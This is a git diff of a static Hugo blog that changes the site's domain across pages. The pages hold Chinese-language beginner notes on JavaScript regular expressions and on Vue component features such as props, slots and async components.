“hallo”;\nhallo.replace(\"/hallo/\",“hi”);\n正则表达式参数\n/表达式/[修饰符]\n修饰符有3个值\ng：全局匹配\ni：忽略大小写\ngi：全局匹配+忽略大小写\n例如：\nvar hallo = “hallo”;\nhallo.replace(\"/hallo|hi/g\",\"*\");\n正向预查和负向预查\n正则捕获的懒惰性和贪婪性\n","wordCount":"155","inLanguage":"en","datePublished":"2021-07-02T18:12:00Z","dateModified":"2021-07-02T18:12:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/52/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>正则表达式学习笔记</h1><div class=post-meta><span title='2021-07-02 18:12:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象</p><p>JavaScript创建正则表达式</p><p>使用RegExp对象创建</p><p>var hallo = new RegExp(/123/);</p><p>或者</p><p>var hallo = /123/;</p><p>检查是否符合该正则表达式</p><p>使用test方法判断字符串是否符合该规则的要求，返回的值是布尔值</p><p>console.log(hallo.test(123));</p><p>/123/只要包含123就返回true</p><p>正则表达式元字符</p><p>边界符（^和$）</p><p>^表示匹配行首的文本（以谁开始）</p><p>$表示行尾的文本（以谁结束）</p><p>var hallo = ^abc;</p><p>必须要abc开头，如果是aabc的话，返回false</p><p>var hallo = abc$;</p><p>必须要abc结尾，例如aabc，返回true</p><p>var hallo = ^abc$;</p><p>^和$一起使用就是精确匹配，必须是abc，如果是abcabc的话，返回false</p><p>字符类[]</p><p>var hallo = /[abc]/;</p><p>只要包含a，b，c其中一个字符都匹配，返回true，例如axx</p><p>var hallo = /^[abc]$/;</p><p>三选一，只有包含a，b，c其中单独的一个才匹配返回true，例如abc，就返回false</p><p>范围符-</p><p>var hallo = /^[a-z]$/;</p><p>多选一，a到z，包含26个字母任何一个字母都返回true，大小写敏感，A和a不一样</p><p>var hallo = /^[a-zA-Z0-9_-]$/;</p><p>多选一，包含26个字母（包含大小写）任何一个字母和数字（0到9）和下划线其中一个都返回true</p><p>取反</p><p>var hallo = /^[^a-z]$/;</p><p>在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母</p><hr><p>量词符（*，+，?）</p><p>var hallo = /a*/;</p><p>*相当于>=0，出现0次或者n次都返回true</p><p>var hallo = /a+/;</p><p>+相当于>=1，出现1次或者n次返回true</p><p>var hallo = /a?/;</p><p>?相当于 0 || 1，只要出现0次或者1次返回true</p><p>{n}：重复n次</p><p>{n,}：重复次数大于等于n次</p><p>{n,i}：重复次数大于等于n，并且小于等于16</p><p>量词是设定规则出现的次数</p><p>例如：</p><p>var hallo = /^[a-zA-Z0-9_-]{6,16}$/;
 console.log(hallo.test(&ldquo;hallo123&rdquo;)); // true</p><p>var hallo = /(abc){3}/;</p><p>将abc重复3次，abcabcabc才返回true</p><p>预定义类</p><p>预定义类指的是一些常用规则的简写，大小写敏感</p><p>\d：匹配0-9的任何数字
 \D：匹配所有0-9以外的字符，取反
 \w：匹配任何的字母，数字，下划线，相当于[a-zA-Z0-9_-]
@@ -113,8 +113,8 @@
 - 之间
 | 或
 ^ 匹配开头
-$ 匹配尾</p><p>替换</p><p>replace()，可以替换字符串或者正则表达式</p><p>replace(匹配字符串,被替换的字符串)</p><p>字符串</p><p>var hallo = &ldquo;hallo&rdquo;;</p><p>hallo.replace(&ldquo;hallo&rdquo;,&ldquo;hi&rdquo;);</p><p>正则表达式</p><p>var hallo = &ldquo;hallo&rdquo;;</p><p>hallo.replace("/hallo/",&ldquo;hi&rdquo;);</p><p>正则表达式参数</p><p>/表达式/[修饰符]</p><p>修饰符有3个值</p><p>g：全局匹配</p><p>i：忽略大小写</p><p>gi：全局匹配+忽略大小写</p><p>例如：</p><p>var hallo = &ldquo;hallo&rdquo;;</p><p>hallo.replace("/hallo|hi/g","*");</p><hr><p>正向预查和负向预查</p><hr><p>正则捕获的懒惰性和贪婪性</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/>正则表达式</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/53/><span class=title>« Prev</span><br><span>深入学习vue组件</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/51/><span class=title>Next »</span><br><span>CSS预处理器-Sass学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+$ 匹配尾</p><p>替换</p><p>replace()，可以替换字符串或者正则表达式</p><p>replace(匹配字符串,被替换的字符串)</p><p>字符串</p><p>var hallo = &ldquo;hallo&rdquo;;</p><p>hallo.replace(&ldquo;hallo&rdquo;,&ldquo;hi&rdquo;);</p><p>正则表达式</p><p>var hallo = &ldquo;hallo&rdquo;;</p><p>hallo.replace("/hallo/",&ldquo;hi&rdquo;);</p><p>正则表达式参数</p><p>/表达式/[修饰符]</p><p>修饰符有3个值</p><p>g：全局匹配</p><p>i：忽略大小写</p><p>gi：全局匹配+忽略大小写</p><p>例如：</p><p>var hallo = &ldquo;hallo&rdquo;;</p><p>hallo.replace("/hallo|hi/g","*");</p><hr><p>正向预查和负向预查</p><hr><p>正则捕获的懒惰性和贪婪性</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/>正则表达式</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/53/><span class=title>« Prev</span><br><span>深入学习vue组件</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/51/><span class=title>Next »</span><br><span>CSS预处理器-Sass学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/53/index.html b/posts/53/index.html
index eda3a720..86b84fb4 100644
--- a/posts/53/index.html
+++ b/posts/53/index.html
@@ -6,17 +6,17 @@
 组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合
 直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用
 局部组件是使用一个JavaScript对象进行定义封装，例如：
-<div id=&#34;app&#34;>
<datas-a></datas-a>
</div>
<script>
const datas ={
template: `
<div>
hallo
</div>
`
}
const hallo = Vue.createApp({
components: {
&#34;datas-a&#34; : datas
}
}).mount('#app')
</script>
components对象，键为自定义元素的名称，值为组件的实质对象
+<div id=&#34;app&#34;> <datas-a></datas-a> </div> <script> const datas ={ template: ` <div> hallo </div> ` } const hallo = Vue.createApp({ components: { &#34;datas-a&#34; : datas } }).mount('#app') </script> components对象，键为自定义元素的名称，值为组件的实质对象
 局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：
-const datab ={
components: {
&#34;datas-a&#34; : dataa
}
}
模块系统
+const datab ={ components: { &#34;datas-a&#34; : dataa } } 模块系统
 通过导入模块的方式导入组件，例如：
 import datas from &lsquo;./datas&rsquo;
 那么datas组件就是可以在当前使用了
 Props
 prop类型
 用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：
-const hallo = Vue.createApp({
component: {
props:{
abc: String,
xyz: Boolean,
},
template: `<h1>{{abc."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/53/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="深入学习vue组件"><meta property="og:description" content="组件注册
+const hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `<h1>{{abc."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/53/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="深入学习vue组件"><meta property="og:description" content="组件注册
 .component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）
 组件名命名：
 全部小写，多个单词用连字符连接（-减号）
@@ -24,16 +24,16 @@
 组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合
 直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用
 局部组件是使用一个JavaScript对象进行定义封装，例如：
-<div id=&#34;app&#34;>
<datas-a></datas-a>
</div>
<script>
const datas ={
template: `
<div>
hallo
</div>
`
}
const hallo = Vue.createApp({
components: {
&#34;datas-a&#34; : datas
}
}).mount('#app')
</script>
components对象，键为自定义元素的名称，值为组件的实质对象
+<div id=&#34;app&#34;> <datas-a></datas-a> </div> <script> const datas ={ template: ` <div> hallo </div> ` } const hallo = Vue.createApp({ components: { &#34;datas-a&#34; : datas } }).mount('#app') </script> components对象，键为自定义元素的名称，值为组件的实质对象
 局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：
-const datab ={
components: {
&#34;datas-a&#34; : dataa
}
}
模块系统
+const datab ={ components: { &#34;datas-a&#34; : dataa } } 模块系统
 通过导入模块的方式导入组件，例如：
 import datas from &lsquo;./datas&rsquo;
 那么datas组件就是可以在当前使用了
 Props
 prop类型
 用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：
-const hallo = Vue.createApp({
component: {
props:{
abc: String,
xyz: Boolean,
},
template: `<h1>{{abc."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/53/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-03T11:16:00+00:00"><meta property="article:modified_time" content="2021-07-03T11:16:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="深入学习vue组件"><meta name=twitter:description content="组件注册
+const hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `<h1>{{abc."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/53/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-03T11:16:00+00:00"><meta property="article:modified_time" content="2021-07-03T11:16:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="深入学习vue组件"><meta name=twitter:description content="组件注册
 .component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）
 组件名命名：
 全部小写，多个单词用连字符连接（-减号）
@@ -41,201 +41,201 @@
 组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合
 直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用
 局部组件是使用一个JavaScript对象进行定义封装，例如：
-<div id=&#34;app&#34;>
<datas-a></datas-a>
</div>
<script>
const datas ={
template: `
<div>
hallo
</div>
`
}
const hallo = Vue.createApp({
components: {
&#34;datas-a&#34; : datas
}
}).mount('#app')
</script>
components对象，键为自定义元素的名称，值为组件的实质对象
+<div id=&#34;app&#34;> <datas-a></datas-a> </div> <script> const datas ={ template: ` <div> hallo </div> ` } const hallo = Vue.createApp({ components: { &#34;datas-a&#34; : datas } }).mount('#app') </script> components对象，键为自定义元素的名称，值为组件的实质对象
 局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：
-const datab ={
components: {
&#34;datas-a&#34; : dataa
}
}
模块系统
+const datab ={ components: { &#34;datas-a&#34; : dataa } } 模块系统
 通过导入模块的方式导入组件，例如：
 import datas from &lsquo;./datas&rsquo;
 那么datas组件就是可以在当前使用了
 Props
 prop类型
 用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：
-const hallo = Vue.createApp({
component: {
props:{
abc: String,
xyz: Boolean,
},
template: `<h1>{{abc."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"深入学习vue组件","item":"https://xiaochenabc123.github.io/posts/53/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"深入学习vue组件","name":"深入学习vue组件","description":"组件注册\n.component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）\n组件名命名：\n全部小写，多个单词用连字符连接（-减号）\n因为html中是大小写不敏感的，浏览器会将大写解析为小写，因此不要使用驼峰命名法来命名自定义标签，而是使用连字符分隔\n组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合\n直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用\n局部组件是使用一个JavaScript对象进行定义封装，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;datas-a\u0026gt;\u0026lt;/datas-a\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst datas ={\rtemplate: `\r\u0026lt;div\u0026gt;\rhallo\r\u0026lt;/div\u0026gt;\r`\r}\rconst hallo = Vue.createApp({\rcomponents: {\r\u0026quot;datas-a\u0026quot; : datas\r}\r}).mount('#app')\r\u0026lt;/script\u0026gt;\rcomponents对象，键为自定义元素的名称，值为组件的实质对象\n局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：\nconst datab ={\rcomponents: {\r\u0026quot;datas-a\u0026quot; : dataa\r}\r}\r模块系统\n通过导入模块的方式导入组件，例如：\nimport datas from \u0026lsquo;./datas\u0026rsquo;\n那么datas组件就是可以在当前使用了\nProps\nprop类型\n用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：\nconst hallo = Vue.createApp({\rcomponent: {\rprops:{\rabc: String,\rxyz: Boolean,\r},\rtemplate: `\u0026lt;h1\u0026gt;{{abc.","keywords":["vuejs"],"articleBody":"组件注册\n.component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）\n组件名命名：\n全部小写，多个单词用连字符连接（-减号）\n因为html中是大小写不敏感的，浏览器会将大写解析为小写，因此不要使用驼峰命名法来命名自定义标签，而是使用连字符分隔\n组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合\n直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用\n局部组件是使用一个JavaScript对象进行定义封装，例如：\ncomponents对象，键为自定义元素的名称，值为组件的实质对象\n局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：\nconst datab ={\rcomponents: {\r\"datas-a\" : dataa\r}\r}\r模块系统\n通过导入模块的方式导入组件，例如：\nimport datas from ‘./datas’\n那么datas组件就是可以在当前使用了\nProps\nprop类型\n用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：\nconst hallo = Vue.createApp({\rcomponent: {\rprops:{\rabc: String,\rxyz: Boolean,\r},\rtemplate: `{{abc.text}}-{{xyz.text}}`\r}\r}).mount('#app')\r如果没有限制类型，那么任何类型的值（能装进变量里的值都行，因为连变量里面的值都可以传入）都可以传给prop\n传入数字\n传入布尔值\n传入数组\n传入对象\n单向数据流\n父组件的prop数据可以流向子组件，但是子组件不能流向父组件，避免因为子组件而修改了父组件\n父组件发生变化时，子组件的prop都会刷新为当前最新的值\n属性继承\n可以在组件中写属性，例如：\ntemplate: \\`\\`\r同样也是可以在组件写事件监听器之类的\n禁用属性继承\ninheritAttrs: false,\rtemplate: \\`\\`\r包含未被props接收的参数\nthis.$attrs\n可以根据需求来传入属性，例如：\n父子组件之间通过事件进行通信\nvue实质上是单向数据流，子组件不能修改父组件传递的数据，不过可以通过事件来进行修改，props传递数据：只能父传子，而不能子传父\n因此vue提供了自定义事件来先父组件传递数据，然后父组件监听子组件的事件\n自定义事件\n如果定义了原生事件，那么组件的事件将会代替原生事件\nemits选项可以定义事件\n兄弟（非父子）组件数据交互\n通过一个事件中心（实质上这是一个发布-订阅模型）来管理组件间的通信\n这个事件中心叫Vue事件总线（EventBus）\nlet hallo = new Vue()\n监听事件和销毁事件\nhallo.$on(“onadd”, onAdd)\nhallo.$off(“onadd”)\n触发事件\nhallo.$emit(“onadd”, id)\n组件插槽\nconst app = Vue.createApp({\rtemplate: `\r`\r})\rapp.component('test', {\rtemplate: `hahaha`\r})\rapp.component('hallo', {\r// props: ['num'],\rtemplate: `\rhallo word\r`\r})\rconst vm = app.mount(\"#app\")\r内部的内容就是vuejs，插槽可以表示任何的DOM元素，子组件一样也可以表示\n当插槽使用了动态数据时，以根组件的data属性为准\n插槽默认值\napp.component('test',{\rtemplate:`\rdata：hallo word\r`\r})\r当插槽没有dom元素需要表示，将显示hallo word，当有dom元素表示时，会替换该元素\n具名插槽：可以给slot和子组件分别使用name属性，slot属性，当name属性和slot属性相同，那么就匹配\n当出现多个插槽时，希望一个插槽代表一个dom元素时，就可以具名插槽了，例如：\nconst app = Vue.createApp({\rtemplate: ` 我是第一个\r我是第三个\r`\r})\rapp.component('test',{\rtemplate:`\rhallo word\r`\r})\rconst vm = app.mount(\"#app\")\r另外v-slot可以简写成#a\n作用域插槽可以访问子组件定义的数据，例如：\nconst app = Vue.createApp({\rtemplate: ` {{props.item}}\r`\r})\rapp.component('test', {\rdata() {\rreturn {\ritems: ['hallo', 'hahaha','abc','hallo word','xyz']\r}\r},\rtemplate: `\r`\r})\r其中props是子组件传递过来的数据（对象格式）\n简化作用域插槽写法\nconst app = Vue.createApp({\rtemplate: ` {{item}}\r`\r})\r动态组件\nconst app = Vue.createApp({\rdata(){\rreturn {\rhallo:'test'\r}\r},\rtemplate: ` `\r})\rapp.component('test', {\rtemplate: `\rhallo word\r`\r})\r决定渲染组件由hallo决定,在上面例子中可以看到hallo指向了test，因此渲染的是test，不需要手动设置子组件，而是动态设置，只需要修改:is指向的值就可以了\n而且当使用动态组件时，切换该组件后，该组件的状态将会失活，无法保存状态，需要搭配使用，保存这些状态，不只是方便保存缓存，而且还可以避免重新渲染\n异步组件\nconst app = Vue.createApp({\rdata(){\rreturn {\rhallo:'asyncs'\r}\r},\rtemplate: ` `\r})\rapp.component('asyncs', Vue.defineAsyncComponent(() =\u003e {\rreturn new Promise((resolve, reject) =\u003e {\rsetTimeout(() =\u003e {\rresolve({\rtemplate: `hallo word`\r})\r},1000)\r})\r}))\rconst vm = app.mount(\"#app\")\r可以看到该组件并不会立马渲染，该组件不会在第一次加载渲染时显示，而是当需要用到它时才会渲染，可以优化页面首次渲染性能\nprovide/inject\n当存在多级组件时，祖先组件想传递组件给子孙组件时，如果使用props传递数据的话，需要一层接收然后在传递给后辈，非常麻烦\nconst app = Vue.createApp({\rdata(){\rreturn {num: 100}\r},\rprovide:{\rhaha: 200\r},\rtemplate: `\r`\r})\rapp.component('hallo',{\rprops:['num'],\rinject:['haha'],\rtemplate:`\r{{num}},{{haha}}\r`\r})\r这里只是举个例子，如果是多层组件结构，这个方法也是可以发送和接收到的，只需要provide发送一下数据，然后子组件inject接收一下\n–\nVue.extend()，vue基础构造器，会创建一个子类，参数是包含组件的对象，例如：\n","wordCount":"395","inLanguage":"en","datePublished":"2021-07-03T11:16:00Z","dateModified":"2021-07-03T11:16:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/53/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle 